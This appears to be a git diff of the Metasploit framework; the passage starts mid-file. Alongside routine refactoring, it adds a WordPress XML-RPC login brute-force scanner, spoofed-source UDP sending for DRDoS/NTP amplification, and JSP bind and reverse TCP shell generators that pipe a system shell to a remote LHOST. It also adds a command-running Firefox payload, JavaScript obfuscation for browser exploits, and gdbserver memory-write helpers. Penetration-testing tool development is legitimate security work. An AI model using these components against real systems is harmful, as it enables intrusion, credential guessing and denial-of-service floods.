'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Wordpress XML RPC login scanner + class WordpressRPC < HTTP + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method, + 'data' => generate_xml_request(credential.public,credential.private), + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body =~ /<value><int>401<\/int><\/value>/ || response.body =~ /<name>user_id<\/name>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + elsif response.body =~ /<value><int>-32601<\/int><\/value>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + # This method generates the XML data for the RPC login request + # @param user [String] the username to authenticate with + # @param pass [String] the password to authenticate with + # @return [String] the generated XML body for the request + def generate_xml_request(user, pass) + xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>" + xml << '<methodCall>' + xml << '<methodName>wp.getUsers</methodName>' + xml << '<params><param><value>1</value></param>' + xml << "<param><value>#{user}</value></param>" + xml << "<param><value>#{pass}</value></param>" + xml << '</params>' + xml << '</methodCall>' + xml + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + @method = "POST".freeze + super + end + + end + end + end +end + + diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 5200b4d14ca9..cb456780fd46 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -311,8 +311,9 @@ def self.dump_generic_module(mod, indent = '') # # @param mod [Msf::Module] the module. # @param indent [String] the indentation to use. + # @param missing [Boolean] dump only empty required options. # @return [String] the string form of the information. - def self.dump_options(mod, indent = '') + def self.dump_options(mod, indent = '', missing = false) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Columns' => @@ -325,13 +326,13 @@ def self.dump_options(mod, indent = '') mod.options.sorted.each { |entry| name, opt = entry + val = mod.datastore[name] || opt.default next if (opt.advanced?) next if (opt.evasion?) + next if (missing && opt.valid?(val)) - val_display = opt.display_value(mod.datastore[name] || opt.default) - - tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ] + tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] } return tbl.to_s diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index dbe155321c03..aeda5ec0cd9d 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -49,6 +49,53 @@ def setup @@max_per_service = nil end + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_hashes(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_keys(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials + # from the database. This allows the users to use the DB_ALL_CREDS option. + # + # @param [Metasploit::Framework::CredentialCollection] the credential collection to add to + # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + def prepend_db_passwords(cred_collection) + if datastore['DB_ALL_CREDS'] && framework.db.active + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + + # Checks all three files for usernames and passwords, and combines them into # one credential list to apply against the supplied block. The block (usually # something like do_login(user,pass) ) is responsible for actually recording diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb index fdf3f3f93e8d..ddf1ca8fdf73 100644 --- a/lib/msf/core/auxiliary/drdos.rb +++ b/lib/msf/core/auxiliary/drdos.rb @@ -8,6 +8,22 @@ module Msf ### module Auxiliary::DRDoS + def initialize(info = {}) + super + register_advanced_options( + [ + OptAddress.new('SRCIP', [false, 'Use this source IP']), + OptInt.new('NUM_REQUESTS', [false, 'Number of requests to send', 1]), + ], self.class) + end + + def setup + super + if spoofed? && datastore['NUM_REQUESTS'] < 1 + raise Msf::OptionValidateError.new(['NUM_REQUESTS']), 'The number of requests must be >= 1' + end + end + def prove_amplification(response_map) vulnerable = false proofs = [] @@ -43,5 +59,9 @@ def prove_amplification(response_map) [ vulnerable, proofs.join(', ') ] end + def spoofed? + !datastore['SRCIP'].nil? + end + end end diff --git a/lib/msf/core/auxiliary/ntp.rb b/lib/msf/core/auxiliary/ntp.rb index abaa96b15779..8551555b4da9 100644 --- a/lib/msf/core/auxiliary/ntp.rb +++ b/lib/msf/core/auxiliary/ntp.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- require 'rex/proto/ntp' - +require 'msf/core/exploit' module Msf ### @@ -10,6 +10,7 @@ module Msf ### module Auxiliary::NTP + include Exploit::Capture include Auxiliary::Scanner # @@ -29,5 +30,15 @@ def initialize(info = {}) OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3]) ], self.class) end + + # Called for each IP in the batch + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@probe, ip, datastore['RPORT']) + end + end end end diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 2891c0da7223..a7d654a362a7 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -69,6 +69,24 @@ def run_batch(batch) scanner_postscan(batch) end + # Send a spoofed packet to a given host and port + def scanner_spoof_send(data, ip, port, srcip, num_packets=1) + open_pcap + p = PacketFu::UDPPacket.new + p.ip_saddr = srcip + p.ip_daddr = ip + p.ip_ttl = 255 + p.udp_src = (rand((2**16)-1024)+1024).to_i + p.udp_dst = port + p.payload = data + p.recalc + print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}") + 1.upto(num_packets) do |x| + capture_sendto(p, ip) + end + close_pcap + end + # Send a packet to a given host and port def scanner_send(data, ip, port) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 96079cd3d82d..6f8ee75ffc12 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -366,7 +366,9 @@ def update_all_module_details ActiveRecord::Base.connection_pool.with_connection do refresh = [] - skipped = [] + skip_reference_name_set_by_module_type = Hash.new { |hash, module_type| + hash[module_type] = Set.new + } Mdm::Module::Detail.find_each do |md| @@ -385,7 +387,8 @@ def update_all_module_details next end - skipped << [md.mtype, md.refname] + skip_reference_name_set = skip_reference_name_set_by_module_type[md.mtype] + skip_reference_name_set.add(md.refname) end refresh.each { |md| md.destroy } @@ -398,8 +401,10 @@ def update_all_module_details ['encoder', framework.encoders], ['nop', framework.nops] ].each do |mt| + skip_reference_name_set = skip_reference_name_set_by_module_type[mt[0]] + mt[1].keys.sort.each do |mn| - next if skipped.include?([mt[0], mn]) + next if skip_reference_name_set.include? mn obj = mt[1].create(mn) next if not obj begin diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 7396ff0aa2e7..36d46c345519 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -404,6 +404,15 @@ def encoded_war(opts={}) Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts) end + # + # An array containing the architecture(s) that this payload was made to run on + # + def arch + if pinst + pinst.arch + end + end + # # The raw version of the payload # diff --git a/lib/msf/core/exploit/dhcp.rb b/lib/msf/core/exploit/dhcp.rb index 361df4732d37..c179a747f201 100644 --- a/lib/msf/core/exploit/dhcp.rb +++ b/lib/msf/core/exploit/dhcp.rb @@ -12,7 +12,24 @@ module Msf module Exploit::DHCPServer def initialize(info = {}) - super + super(update_info(info, + 'Stance' => Msf::Exploit::Stance::Passive, + )) + + register_options( + [ + OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]), + OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]), + OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]), + OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]), + OptString.new('ROUTER', [ false, "The router IP address" ]), + OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]), + OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]), + OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]), + OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]), + OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]), + OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ]) + ], self.class) @dhcp = nil end @@ -21,7 +38,7 @@ def start_service(hash = {}, context = {}) @dhcp = Rex::Proto::DHCP::Server.new(hash, context) print_status("Starting DHCP server") if datastore['VERBOSE'] @dhcp.start - add_socket(@dhcp.socket) + add_socket(@dhcp.sock) @dhcp end @@ -34,4 +51,3 @@ def stop_service end end - diff --git a/lib/msf/core/exploit/gdb.rb b/lib/msf/core/exploit/gdb.rb new file mode 100644 index 000000000000..d6c7cb2cf7fe --- /dev/null +++ b/lib/msf/core/exploit/gdb.rb @@ -0,0 +1,190 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/tcp' + +module Msf + +# +# Implement some helpers for communicating with a remote gdb instance. +# +# More info on the gdb protocol can be found here: +# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview +# + +module Exploit::Remote::Gdb + + include Msf::Exploit::Remote::Tcp + + # thrown when an expected ACK packet is never received + class BadAckError < RuntimeError; end + + # thrown when a response is incorrect + class BadResponseError < RuntimeError; end + + # thrown when a checksum is invalid + class BadChecksumError < RuntimeError; end + + # Default list of supported GDB features to send the to the target + GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;' + + # Maps index of register in GDB that holds $PC to architecture + PC_REGISTERS = { + '08' => ARCH_X86, + '10' => ARCH_X86_64 + } + + # Send an ACK packet + def send_ack + sock.put('+') + vprint_status('Sending ack...') + end + + # Reads an ACK packet from the wire + # @raise [BadAckError] if a bad ACK is received + def read_ack + unless sock.get_once(1) == '+' + raise BadAckError + end + vprint_status('Received ack...') + end + + # Sends a command and receives an ACK from the remote. + # @param cmd [String] the gdb command to run. The command is will be + # wrapped '$' prefix and checksum. + def send_cmd(cmd) + full_cmd = '$' + cmd + '#' + checksum(cmd) + vprint_status('Sending cmd: '+full_cmd) + sock.put(full_cmd) + read_ack + end + + # Reads (and possibly decodes) from the socket and sends an ACK to verify receipt + # @param opts [Hash] the options hash + # @option opts :decode [Boolean] rle decoding should be applied to the response + # @option opts :verify [Boolean] verify the response's checksum + # @return [String] the response + # @raise [BadResponseError] if the expected response is missing + # @raise [BadChecksumError] if the checksum is invalid + def read_response(opts={}) + decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true) + res = sock.get_once + raise BadResponseError if res.nil? + raise BadChecksumError if (verify && !verify_checksum(res)) + res = decode_rle(res) if decode + vprint_status('Result: '+res) + send_ack + res + end + + # Implements decoding of gdbserver's Run-Length-Encoding that is applied + # on some hex values to collapse repeated characters. + # + # https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data + # + # @param msg [String] the message to decode + # @return [String] the decoded result + def decode_rle(msg) + vprint_status "Before decoding: #{msg}" + msg.gsub /.\*./ do |match| + match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1) + end + end + + # The two-digit checksum is computed as the modulo 256 sum of all characters + # between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum). + # @param str [String] the string to calculate the checksum of + # @return [String] hex string containing checksum + def checksum(str) + "%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 } + end + + # Verifies a response's checksum + # @param res [String] the response to check + # @return [Boolean] whether the checksum is valid + def verify_checksum(res) + msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2] + checksum(msg) == chksum + end + + # Writes the buffer +buf+ to the address +addr+ in the remote process's memory + # @param buf [String] the buffer to write + # @param addr [String] the hex-encoded address to write to + def write(buf, addr) + hex = Rex::Text.to_hex(buf, '') + send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}" + read_response + end + + # Steps execution and finds $PC pointer and architecture + # @return [Hash] with :arch and :pc keys containing architecture and PC pointer + # @raise [BadResponseError] if necessary data is missing + def process_info + data = step + pc_data = data.split(';')[2] + raise BadResponseError if pc_data.nil? + pc_data = pc_data.split(':') + my_arch = PC_REGISTERS[pc_data[0]] + pc = pc_data[1] + + if my_arch.nil? + raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}" + end + + { + arch: my_arch, + pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''), + pc_raw: Integer(pc, 16) + } + end + + # Continues execution of the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def continue(opts={}) + send_cmd 'vCont;c' + read_response if opts.fetch(:read, true) + end + + # Detaches from the remote process + # @param opts [Hash] the options hash + # @option opts :read [Boolean] read the response + def detach(opts={}) + send_cmd 'D' + read_response if opts.fetch(:read, true) + end + + # Executes one instruction on the remote process + # + # The results of running "step" will look like: + # x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53 + # x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df + # The third comma-separated field will contain EIP, and the register index + # will let us deduce the remote architecture (through PC_REGISTERS lookup) + # + # @return [String] a list of key/value pairs, including current PC + def step + send_cmd 'vCont;s' + read_response(decode: true) + end + + def run(filename) + send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}" + read_response + end + + def enable_extended_mode + send_cmd("!") + read_response + end + + # Performs a handshake packet exchange + # @param features [String] the list of supported features to tell the remote + # host that the client supports (defaults to +DEFAULT_GDB_FEATURES+) + def handshake(features=GDB_FEATURES) + send_cmd features + read_response # lots of flags, nothing interesting + end + +end + +end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 66ee1957bcf8..3ce4904f880c 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -662,6 +662,8 @@ def regenerate_payload(cli, arch = nil, platform = nil, target = nil) def on_request_uri(cli, request) end + # allow this module to be patched at initialization-time + Metasploit::Concern.run(self) end ### @@ -1014,7 +1016,6 @@ def php_include_url(sock=nil) "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" end - end end diff --git a/lib/msf/core/exploit/jsobfu.rb b/lib/msf/core/exploit/jsobfu.rb new file mode 100644 index 000000000000..4037df99d7d9 --- /dev/null +++ b/lib/msf/core/exploit/jsobfu.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'rex/exploitation/jsobfu' + +module Msf + module Exploit::JSObfu + + def initialize(info={}) + super + register_advanced_options([ + OptInt.new('JsObfuscate', [false, "Number of times to obfuscate JavaScript", 0]) + ], Exploit::JSObfu) + end + + # + # Returns an JSObfu object. A wrapper of ::Rex::Exploitation::JSObfu.new(js).obfuscate + # + # @param js [String] JavaScript code + # @param opts [Hash] obfuscation options + # * :iterations [FixNum] Number of times to obfuscate + # @return [::Rex::Exploitation::JSObfu] + # + def js_obfuscate(js, opts={}) + iterations = (opts[:iterations] || datastore['JsObfuscate']).to_i + obfu = ::Rex::Exploitation::JSObfu.new(js) + obfu.obfuscate(:iterations=>iterations) + obfu + end + + end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index c5e2b0fc1b0b..7599c46711f5 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -47,6 +47,7 @@ require 'msf/core/exploit/arkeia' require 'msf/core/exploit/ndmp' require 'msf/core/exploit/imap' +require 'msf/core/exploit/gdb' require 'msf/core/exploit/smtp_deliver' require 'msf/core/exploit/pop2' require 'msf/core/exploit/tns' diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 6cd891aa84ce..8717fdfc081d 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -4,6 +4,7 @@ require 'cgi' require 'date' require 'rex/exploitation/js' +require 'msf/core/exploit/jsobfu' ### # @@ -17,6 +18,7 @@ module Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb + include Msf::Exploit::JSObfu # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' @@ -371,27 +373,27 @@ def get_detection_html(user_agent) window.onload = function() { - var osInfo = window.os_detect.getVersion(); + var osInfo = os_detect.getVersion(); var d = { "<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name, "<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor, "<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name, "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, - "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(), - "<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion() + "<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(), + "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(), + "<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion() }; <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> - d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion(); + d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion(); d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString(); <% clsid = @requirements[:clsid] method = @requirements[:method] if clsid and method %> - d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); <% end %> <% end %> @@ -453,7 +455,8 @@ def on_request_uri(cli, request) ua = request.headers['User-Agent'] || '' init_profile(tag) print_status("Sending response HTML.") - send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)}) + html = get_detection_html(ua) + send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) when /#{@info_receiver_page}/ # diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index c12c0a239f97..63d22a794fe1 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -104,12 +104,8 @@ def initialize(in_ctx_id = 'Unknown', in_ctx_val = '') self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s - elsif (in_ctx_id == 'WVE') - self.site = 'http://www.wirelessve.org/entries/show/WVE-' + in_ctx_val.to_s elsif (in_ctx_id == 'US-CERT-VU') self.site = 'http://www.kb.cert.org/vuls/id/' + in_ctx_val.to_s - elsif (in_ctx_id == 'BPS') - self.site = 'https://strikecenter.bpointsys.com/bps/advisory/BPS-' + in_ctx_val.to_s elsif (in_ctx_id == 'ZDI') self.site = 'http://www.zerodayinitiative.com/advisories/ZDI-' + in_ctx_val.to_s elsif (in_ctx_id == 'URL') diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index 0f30a47f60b9..08d0d0aa0431 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -7,7 +7,6 @@ # # Project # -require 'fastlib' require 'msf/core' require 'msf/core/module_set' diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index 5418e7a2f20c..c5900bd15af9 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -7,7 +7,6 @@ # # Project # -require 'msf/core/modules/loader/archive' require 'msf/core/modules/loader/directory' # Deals with loading modules for the {Msf::ModuleManager} @@ -20,7 +19,6 @@ module Msf::ModuleManager::Loading # Classes that can be used to load modules. LOADER_CLASSES = [ - Msf::Modules::Loader::Archive, Msf::Modules::Loader::Directory ] @@ -103,7 +101,7 @@ def loaders # Load all of the modules from the supplied directory or archive # - # @param [String] path Path to a directory or Fastlib archive + # @param [String] path Path to a directory # @param [Hash] options # @option options [Boolean] :force Whether the force loading the modules even if they are unchanged and already # loaded. diff --git a/lib/msf/core/module_manager/module_paths.rb b/lib/msf/core/module_manager/module_paths.rb index 1a23ed28896e..91a41a18add5 100644 --- a/lib/msf/core/module_manager/module_paths.rb +++ b/lib/msf/core/module_manager/module_paths.rb @@ -24,30 +24,14 @@ def add_module_path(path, opts={}) # Make the path completely canonical pathname = Pathname.new(path_without_trailing_file_separator).expand_path - extension = pathname.extname - if extension == Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION - unless pathname.exist? - raise ArgumentError, "The path supplied does not exist", caller - end - - nested_paths << pathname.to_s - else - # Make sure the path is a valid directory - unless pathname.directory? - raise ArgumentError, "The path supplied is not a valid directory.", caller - end - - nested_paths << pathname.to_s - - # Identify any fastlib archives inside of this path - fastlib_glob = pathname.join('**', "*#{Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION}") - - Dir.glob(fastlib_glob).each do |fastlib_path| - nested_paths << fastlib_path - end + # Make sure the path is a valid directory + unless pathname.directory? + raise ArgumentError, "The path supplied is not a valid directory.", caller end + nested_paths << pathname.to_s + # Update the module paths appropriately self.module_paths = (module_paths + nested_paths).flatten.uniq diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index 7c8a6f04ad17..4aa066a468d7 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- require 'msf/core' -require 'fastlib' require 'pathname' # diff --git a/lib/msf/core/modules/loader/archive.rb b/lib/msf/core/modules/loader/archive.rb deleted file mode 100644 index 9aaf180e2398..000000000000 --- a/lib/msf/core/modules/loader/archive.rb +++ /dev/null @@ -1,91 +0,0 @@ -# -*- coding: binary -*- -require 'msf/core/modules/loader/base' - -# Concerns loading modules form fastlib archives -class Msf::Modules::Loader::Archive < Msf::Modules::Loader::Base - # - # CONSTANTS - # - - # The extension for Fastlib archives. - ARCHIVE_EXTENSION = '.fastlib' - - # Returns true if the path is a Fastlib archive. - # - # @param (see Msf::Modules::Loader::Base#loadable?) - # @return [true] if path has the {ARCHIVE_EXTENSION} extname. - # @return [false] otherwise - def loadable?(path) - if File.extname(path) == ARCHIVE_EXTENSION - true - else - false - end - end - - protected - - # Yields the module_reference_name for each module file in the Fastlib archive at path. - # - # @param path [String] The path to the Fastlib archive file. - # @param opts [Hash] Additional options - # @yield (see Msf::Modules::Loader::Base#each_module_reference_name) - # @yieldparam (see Msf::Modules::Loader::Base#each_module_reference_name) - # @return (see Msf::Modules::Loader::Base#each_module_reference_name) - def each_module_reference_name(path, opts={}) - whitelist = opts[:whitelist] || [] - entries = ::FastLib.list(path) - - entries.each do |entry| - if entry.include?('.svn/') - next - end - - type = entry.split('/', 2)[0] - type = type.singularize - - unless module_manager.type_enabled?(type) - next - end - - if whitelist.empty? - - if module_path?(entry) - # The module_reference_name doesn't have a file extension - module_reference_name = module_reference_name_from_path(entry) - - yield path, type, module_reference_name - end - else - whitelist.each do |pattern| - if entry =~ pattern - yield path, type, module_reference_name - else - next - end - end - end - end - end - - # Returns the path to the module inside the Fastlib archive. The path to the archive is separated from the path to - # the file inside the archive by '::'. - # - # @param (see Msf::Modules::Loader::Base#module_path) - # @return [String] Path to module file inside the Fastlib archive. - def module_path(parent_path, type, module_reference_name) - file_path = typed_path(type, module_reference_name) - module_path = "#{parent_path}::#{file_path}" - - module_path - end - - # Loads the module content from the Fastlib archive. - # - # @return (see Msf::Modules::Loader::Base#read_module_content) - def read_module_content(path, type, module_reference_name) - file_path = typed_path(type, module_reference_name) - - ::FastLib.load(path, file_path) - end -end \ No newline at end of file diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 2470fcf7122b..693bcc90360d 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -1,4 +1,8 @@ # -*- coding: binary -*- + +require 'msf/core/modules/loader' +require 'msf/core/modules/loader/base' + # Concerns loading module from a directory class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # Returns true if the path is a directory diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index a958c6f5af35..f8b940708d7e 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -169,12 +169,13 @@ def run_cmd_source .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); + var shell; if (windows) { - var shell = shPath+" "+cmd; + shell = shPath+" "+cmd.trim(); shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { - var shell = shPath+" "+cmd.replace(/\\W/g, shEsc); + shell = shPath+" "+cmd.replace(/\\W/g, shEsc); shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } var process = Components.classes["@mozilla.org/process/util;1"] diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb index 2a81902839ee..08d83943dada 100644 --- a/lib/msf/core/payload/jsp.rb +++ b/lib/msf/core/payload/jsp.rb @@ -2,8 +2,23 @@ require 'msf/core' require 'rex' +# This module is chained within JSP payloads that target the Java platform. +# It provides methods to generate Java / JSP code. module Msf::Payload::JSP + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(info = {}) + ret = super(info) + + register_options([ + Msf::OptString.new( 'SHELL', [false, 'The system shell to use.']) + ], Msf::Payload::JSP ) + + ret + end + # Outputs jsp that spawns a bind TCP shell + # # @return [String] jsp code that executes bind TCP payload def jsp_bind_tcp # Modified from: http://www.security.org.sg/code/jspreverse.html @@ -53,20 +68,22 @@ class StreamConnector extends Thread try { + #{shell_path} ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); Socket client_socket = server_socket.accept(); server_socket.close(); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %> EOS - return jsp + jsp end # Outputs jsp code that spawns a reverse TCP shell + # # @return [String] jsp code that executes reverse TCP payload def jsp_reverse_tcp # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html @@ -116,17 +133,20 @@ class StreamConnector extends Thread try { + #{shell_path} Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); - Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %> EOS - return jsp + + jsp end # Wraps the jsp payload into a war + # # @return [Rex::Zip::Jar] a war to execute the jsp payload def generate_war jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" @@ -151,4 +171,28 @@ def generate_war zip end + + # Outputs Java code to assign the system shell path to a variable. + # + # It uses the datastore if a value has been provided, otherwise + # tries to guess the system shell path bad on the os target. + # + # @return [String] the Java code. + def shell_path + if datastore['SHELL'] && !datastore['SHELL'].empty? + jsp = "String ShellPath = \"#{datastore['SHELL']}\";" + else + jsp = <<-EOS +String ShellPath; +if 